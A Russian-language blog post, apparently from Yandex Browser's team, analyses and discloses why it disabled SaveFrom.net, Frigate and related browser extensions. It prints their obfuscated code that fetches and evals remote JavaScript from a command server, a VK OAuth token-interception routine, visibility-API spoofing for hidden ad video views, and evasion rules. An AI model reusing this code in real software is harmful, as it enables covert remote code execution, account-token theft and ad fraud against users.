Сегодня мы приняли решение отключить расширения SaveFrom.net, Frigate Light, Frigate CDN и некоторые другие, установленные у пользователей Яндекс.Браузера. Совокупная аудитория этих инструментов превышает 8 млн человек.

В этом посте мы расскажем о причинах и поделимся с сообществом результатами анализа деятельности расширений. Вы узнаете про тайное воспроизведение видео из онлайн-кинотеатров с целью накрутки просмотров. Увидите фрагмент кода, содержащий механизм для перехвата токенов социальных сетей. Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений.



Предыстория


Некоторое время назад пользователи Яндекс.Браузера стали обращаться в поддержку с жалобами на странный звук, который можно было принять за аудиорекламу. Примеры таких жалоб:



Общение с пользователями помогло нам понять, что источником звука на самом деле была видеореклама. Но странность заключалась в том, что никакое видео в этот момент на экране не воспроизводилось. Сначала мы подумали, что оно проигрывалось в другой открытой вкладке или за пределами видимости, но эта гипотеза не подтвердилась. Начали запрашивать у пользователей дополнительную информацию. В том числе список установленных расширений.

Так мы заметили общий признак: у пострадавших было установлено расширение для загрузки видео от сервиса SaveFrom.net. Начали тестировать. Догадка оказалась верной: отключение расширения отключало и фоновый шум. Затем связались с его разработчиками. Они высказали предположение, что это ошибки конвертера, и внесли исправления. После обновления расширения жалобы на звук прекратились.

Новая история


В ноябре команда антифрода Яндекса заподозрила неладное. Она получила сигнал о том, что кто-то использует аудиторию популярных браузеров для накрутки просмотров видео в онлайн-кинотеатрах. Пользователи видео не видели, потому что оно воспроизводилось в фоне. Тем не менее оно потребляло существенный трафик и перегружало работой вычислительные ресурсы компьютера, поэтому такое поведение нельзя назвать добросовестным.

При этом в поддержку на посторонний звук больше никто не жаловался. Это можно было легко объяснить сознательным исключением аудитории Яндекс.Браузера из целевой. Подобные попытки избежать внимания со стороны нашего антифрода мы уже неоднократно встречали в прошлом при анализе поведения расширений из Chrome Web Store (напомним, что наш браузер поддерживает установку в том числе из этого каталога).

Но всё оказалось куда проще: на этот раз фоновое воспроизведение видео проходило в беззвучном режиме. Вскоре коллеги из Службы информационной безопасности выяснили, что проблема затрагивает не только внешних пользователей нашего браузера, но и даже наших коллег. Так мы получили проблемные ноутбуки для исследования и наконец-то смогли детально разобраться в происходящем.

На проблемных устройствах наших коллег были установлены расширения SaveFrom.net, Frigate Light или Frigate CDN. Источник их установки значения не имел (SaveFrom.net мог быть установлен с сайта, а Frigate — напрямую из каталога Chrome Web Store).

Далее мы поделимся с вами результатами нашего анализа. Приведём фрагменты исходного кода и объясним суть их работы. Начнём с объяснения того, как функциональность может подгружаться в расширение без его обновления, и закончим, собственно, воспроизведением видео на компьютере ничего не подозревающего пользователя.

Динамическая загрузка и выполнение кода


Frigate


(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.

profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


SaveFrom.net


(полный код расширения также доступен по ссылке)

На 19122-й строке файла background.js начинается блок сбора и выполнения кода.

background.js
var b, w = c.reload, _ = c.id, S = c.getBackgroundPage, k = c.sendMessage, x = m(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114), O = function() {}, A = function(e) {
                var t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : O;
                try {
                    return e()
                } catch (e) {
                    return t()
                }
            }, E = function(e) {
                return e && (t = function(e, t) {
                    return A((function() {
                        return e(t)
                    }
                    ))
                }(n[x], e),
                new n(t).catch((function() {}
                )));
                var t
            }, I = function(e) {
                return new n((function(t) {
                    return a(t, e)
                }
                ))
            }, R = function(e) {
                return A((function() {
                    return atob(e.trim())
                }
                )) || e || ""
            }, P = !1, j = !1, T = function() {


Стоит обратить внимание на строку “x = m(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)”, которая аналогична “fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)” из расширения Frigate.

Далее идёт большой switch, который ответственен за загрузку и выполнения JS-кода.

Код
switch (t.prev = t.next) {
                            case 0:
                                if (t.prev = 0,
                                !P && !j && r.onLine) {
                                    t.next = 3;
                                    break
                                }
                                return t.abrupt("return");
                            case 3:
                                if (P = !0,
                                "GET",
                                n = "POST",
                                b) {
                                    t.next = 10;
                                    break
                                }
                                return t.next = 9,
                                Object(u.a)({
                                    url: e,
                                    method: "GET"
                                }).then((function(e) {
                                    var t = e.body;
                                    return R(t)
                                }
                                )).then(v);
                            case 9:
                                b = t.sent;
                            case 10:
                                if (a = (o = b).urls,
                                s = void 0 === a ? [] : a,
                                f = o.delay,
                                d = void 0 === f ? 1e3 : f,
                                s.length) {
                                    t.next = 13;
                                    break
                                }
                                return t.abrupt("return");
                            case 13:
                                return t.next = 15,
                                I(d);
                            case 15:
                                if (g = l({
                                    id: _
                                }, c.getManifest()),
                                w = s[h(p() * s.length)]) {
                                    t.next = 19;
                                    break
                                }
                                return t.abrupt("return");
                            case 19:
                                return S = function(e) {
                                    return btoa(encodeURIComponent(e).replace(/%([0-9A-F]{2})/g, (function(e, t) {
                                        return m(parseInt(t, 16))
                                    }
                                    )))
                                }
                                ,
                                k = Object(u.a)({
                                    method: n,
                                    url: w,
                                    data: S(y(g))
                                }).then((function(e) {
                                    if (200 !== e.statusCode)
                                        throw new Error;
                                    return R(e.body)
                                }
                                )),
                                t.next = 23,
                                k;
                            case 23:
                                return x = t.sent,
                                t.next = 26,
                                I(d);
                            case 26:
                                E(x),
                                j = !0,
                                t.next = 32;
                                break;
                            case 30:
                                t.prev = 30,
                                t.t0 = t.catch(0);
                            case 32:
                                return t.prev = 32,
                                P = !1,
                                t.finish(32);
                            case 35:
                            case "end":
                                return t.stop()
                            }


По блокам выполнение происходит так:

  • 3-10: получение адреса командного сервера с sf-helper.com/static/ffmpegSignature. В нашем случае это опять gatpsstat.com/. Вот это совпадение!
  • 15: получение манифеста приложения.
  • 19: кодирование манифеста в base64, его отправка, регистрация хендлера.
  • После получение ответа происходит обработка функцией R, которая снимает base64.
  • 23: результат R сохраняется в x.
  • 26: происходит вызов E(x), который выполняет JS-код.

Ответ ffmpegSignature
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Одинаковая часть для всех расширений


/ext/stat


Итак, все рассматриваемые расширения имеют возможность динамически выполнять JS-код, который они получают раз в час из обработчика /ext/stat. Этот JS-код в разные моменты времени может быть любым, сколь угодно опасным. Скрытое воспроизведение видео может быть лишь одним из множества возможных симптомов. Но поймать (и задокументировать) подобные симптомы не так-то и просто. Поначалу мы пытались дампить трафик через функциональность браузера, но это не приносило результатов. Даже начали сомневаться, что выбрали правильный путь. Обратились к более медленному, но надёжному варианту: завернули весь трафик через Burp Suite (это такая платформа для анализа безопасности веб-приложений, которая, среди прочего, позволяет перехватывать трафик между приложением и браузером).

Вскоре детальный анализ трафика принёс плоды. Оказалось, что наши предыдущие попытки получить правильный ответ были неуспешны из-за конфига dangerRules. Он содержал список адресов, после посещения которых потенциально опасная деятельность прекращалась.

Декодированный base64 из /ext/stat, который содержит dangerRules
{"updateUri":"/ext/up","dataUri":"/ext/data","version":"1961","hash":"e3e03a744b6ff019c74ad9a714579ab3","timestampMS":1606678312460,"clientId":"4016cb52-df6b-495e-b2a3-49a013eef28b","endpoint":"http://gatpsstat.com","ttlSec":3600,"defs":[{"id":1,"type":"core","options":{"url":"/ext/def"}},{"id":2,"type":"dt","options":[]},{"id":3,"type":"bl","options":{"rules":["^chrome://extensions"],"dangerRules":["^chrome://[^/]*-internals","^chrome://net-","^chrome://network-","^chrome://tracing","^https?://installs.pro","^https?://admon.pro","^https?://log.admon.pro","^https?://installmonster.ru","^https?://browser.yandex.ru/help/support/support.html","^https?://browser.yandex.ru/feedback/","^https?://savefrom.userecho.com/communities/1-savefromru/topics","^https?://addons.opera.com/en-gb/extensions/details/savefromnet-helper/","^https?://bugs.opera.com/wizard/","^https?://help.opera.com/en/computer-bug-wizard/","^https?://chrome.google.com/webstore/detail/frigate-light/mdnmhbnbebabimcjggckeoibchhckemm"]}}],"sentry":{"ignoreErrors":["Unexpected token G in JSON at position 0","Extension context invalidated"],"enabled":false,"debug":false,"release":"1961","environment":"stack"}}


Обратите внимание: сомнительная активность прекращалась, если пользователь открывал адрес поддержки Яндекс.Браузера или служебную страницу для анализа трафика. Хитро!

Расследование продолжилось. Предстояло разобраться с обработчиком /ext/up, которому и передавался конфиг. Его ответ был сжат и зашифрован, а код обфусцирован. Но это нас не остановило.

/ext/up


Ещё один обработчик с исполняемым кодом. Его ответ маскируется под GIF-картинку.



Расшифрованный ответ содержит JSON с тремя кусками кода. Названия блоков намекают на контекст исполнения кода: bg.js (применяется на фоновой странице расширения), page.js (используется для инъекций в просматриваемые страницы), entry_point.js (код, который отдаётся на /ext/stat).

bg.js и page.js умеют получать и внедрять в страницы iframe с video для показа рекламы. Кроме того, bg.js имеет функциональность, которая может использоваться для перехвата oAuth-токенов сервиса ВКонтакте. Мы не можем однозначно утверждать, что этот механизм в реальности использовался, но он присутствует в коде, поэтому мы рекомендуем отозвать токены для vk.com.

Код для перехвата токенов
async vkt(e) {
            const {
                core: {
                    state: t,
                    webRequestManager: {
                        onBeforeRedirect: s
                    }
                },
                options: {
                    oauth: r
                }
            } = this;
            if (!r || !e) return;
            const n = (await In.get("https://oauth.vk.com/authorize", r).then(e => e.text())).match(/[^"]+\?act=grant_access&[^"]+/),
                i = n && n[0];
            if (!i) return;
            const o = new ze,
                a = e => {
                    const {
                        details: {
                            url: t,
                            redirectUrl: r
                        }
                    } = e;
                    if (t !== i) return;
                    const n = r.match(/#access_token=([a-z0-9]+)/),
                        c = n && n[1];
                    o.resolve(c), s.removeListener(a)
                };
            s.addListener(a), await In.get(i);
            const c = await o;
            c && (await t.set("vkt", c), this.pushData({
                id: e,
                token: c
            }))
        }


Кроме того, в bg.js мы видим код, который подменяет браузерный API, чтобы просмотры засчитывались даже при скрытом видео.

Код для подмены браузерного API
class Ci extends mi {
    patch(e) {
        var t;
        const s = e.Document.prototype;
        for (const e of ["hidden", "webkitHidden"]) Js.getter(s, e, () => !1);
        for (const e of ["visibilityState", "webkitVisibilityState"]) Js.getter(s, e, () => "visible");
        Js.method(s, "hasFocus", () => !0), Js.getter(e, "outerWidth", () => e.innerWidth), Js.getter(e, "outerHeight", () => e.innerHeight);
        const r = "availTop" in e.screen ? null !== (t = Reflect.get(e.screen, "availTop")) && void 0 !== t ? t : 0 : void 0;
        Js.getter(e, "screenY", () => null != r ? r : e.screenY), Js.getter(e, "screenTop", () => null != r ? r : e.screenTop)
    }
}


/ext/def


Предположительно, этот обработчик отвечает за отдачу списка текущих заданий для открутки видео. Запрос клиента и ответ сервера сжаты и зашифрованы на ключе из параметра hk.



Пример расшифрованного ответа
       
              [
                    "*://*.utraff.com/*",
                    "*://*.lookmeet.tv/*",
                    "*://*.videout.ru/*",
                    "*://*.buzzoola.com/*",
                    "*://*.vihub.ru/*",
                    "*://*.betweendigital.com/*",
                    "*://*.tvigle.ru/*",
                    "*://*.megogo.ru/*",
                    "*://*.megogo.net/*",
                    "*://*.fqtag.com/*",
                    "*://*.instreamvideo.ru/*",
                    "*://*.videoroll.net/*",
                    "*://*.fresh-video.com/*",
                    "*://playreplay.me/*"
                ],
      
            .......
        {
            "id": 368,
            "type": "gb",
            "options": {
                "blacklist": [
                    "*://an.yandex.ru/meta/*",
                    "*://an.yandex.ru/jserr/*",
                    "*://an.yandex.ru/jstracer"
                ]
            }
        }
    ],
    "dup": false
}


В результате выполнения выданного задания видно, что браузер открывает видеоплеер и включает в нём видео. При этом сам видеоплеер не виден пользователю и действие происходит скрытно.



/ext/beacon


Отчёт о выполнении задания расширение отправляет на /ext/beacon. С уже знакомым нам сжатием и шифрованием.

Тело запроса
               {
                    "pageId": "QYJZMN",
                    "tabId": -1,
                    "frameId": 1580,
                    "origin": "https://kinorole.ru",
                    "url": "https://kinorole.ru/robots.txt"
                }
            },
            {
                "scriptId": 193,
                "timestamp": 1606678594,
                "type": "stat",
                "version": "1961",
                "payload": {
                    "type": "etab",
                    "key": "player_load"
                },
                "env": {
                    "world": "ext",
                    "pageId": "MTJKAC",
                    "tabId": -1,
                    "frameId": 1581,
                    "origin": "https://kinorole.ru",
                    "url": "https://kinorole.ru/film/_hodjachie-mertveci?v=3&utm_source=mbac&utm_campaign=193"
                }
            }
        ]
    }
}


Краткий пересказ того, что делают расширения


Повторим ещё раз всё то же самое, но кратко.

  1. Расширения запрашивают с сервера конфиг, в котором содержится адрес другого, командного сервера с обработчиком /ext/stat .
  2. Обработчик /ext/stat присваивает уникальный uuid пользователю.
  3. Каждый час расширения совершают запрос на адрес /ext/stat и исполняют код, полученный в ответе.
  4. Скрипт с /ext/stat совершает запрос на /ext/up, получает сжатый основной код для выполнения cкрипта.
  5. Выполнение скрипта с /ext/up может активировать функциональность перехвата access_token'ов ВКонтакте при их получении пользователем. Перехваченные токены могут отправляться на /ext/data.
  6. Скрипт с /ext/up получает список заданий с /ext/def. Запрос и ответ шифруются на ключе, переданном в параметре hk.
  7. Видео с рекламой воспроизводится в браузере втайне от пользователя.
  8. Отправляется отчёт на /ext/beacon.

Это то, как выглядит работа расширений, если смотреть на их код и трафик. Но полезно взглянуть на проблему и со стороны пользователей, поэтому за спойлером вас ждёт подборка отзывов из Chrome Web Store.

Отзывы пользователей








Принятые нами меры


Мы считаем описанное поведение потенциально опасным и недобросовестным, поэтому приняли решение отключить в Яндекс.Браузере уже установленные копии расширений SaveFrom.net, Frigate Light, Frigate CDN и некоторых других. Пользователи этих расширений получат уведомление, в котором мы расскажем о причинах отключения. После этого они смогут принять осознанное решение и при необходимости включить их вновь (хотя мы настоятельно рекомендуем так не поступать).

Кроме того, мы передали результаты нашего технического анализа коллегам из «Лаборатории Касперского» и Google. В «Лаборатории Касперского» уже подтвердили наличие потенциально вредоносной составляющей в расширениях, теперь продукты компании детектируют эту угрозу и блокируют связанные с ней URL-адреса и фрагменты скриптов.

Также в ходе исследования было обнаружено более двух десятков менее популярных браузерных расширений, использующих аналогичный код. Их мы также отключаем. Мы призываем экспертов присоединиться к поиску и других потенциально опасных расширений. Результаты можно присылать через форму. Вместе мы сможем побороть эту угрозу.

Список id отключенных расширений
acdfdofofabmipgcolilkfhnpoclgpdd
oobppndjaabcidladjeehddkgkccfcpn
aonedlchkbicmhepimiahfalheedjgbh
aoeacblfmdamdejeiaepojbhohhkmkjh
eoeoincjhpflnpdaiemgbboknhkblome
onbkopaoemachfglhlpomhbpofepfpom
inlgdellfblpplcogjfedlhjnpgafnia
ejfajpmpabphhkcacijnhggimhelopfg
pgjndpcilbcanlnhhjmhjalilcmoicjc
napifgkjbjeodgmfjmgncljmnmdefpbf
glgemekgfjppocilabhlcbngobillcgf
klmjcelobglnhnbfpmlbgnoeippfhhil
ldbfffpdfgghehkkckifnjhoncdgjkib
mbacbcfdfaapbcnlnbmciiaakomhkbkb
mdnmhbnbebabimcjggckeoibchhckemm
lfedlgnabjompjngkpddclhgcmeklana
mdpljndcmbeikfnlflcggaipgnhiedbl
npdpplbicnmpoigidfdjadamgfkilaak
ibehiiilehaakkhkigckfjfknboalpbe
lalpacfpfnobgdkbbpggecolckiffhoi
hdbipekpdpggjaipompnomhccfemaljm
gfjocjagfinihkkaahliainflifnlnfc
ickfamnaffmfjgecbbnhecdnmjknblic
bmcnncbmipphlkdmgfbipbanmmfdamkd
miejmllodobdobgjbeonandkjhnhpjbn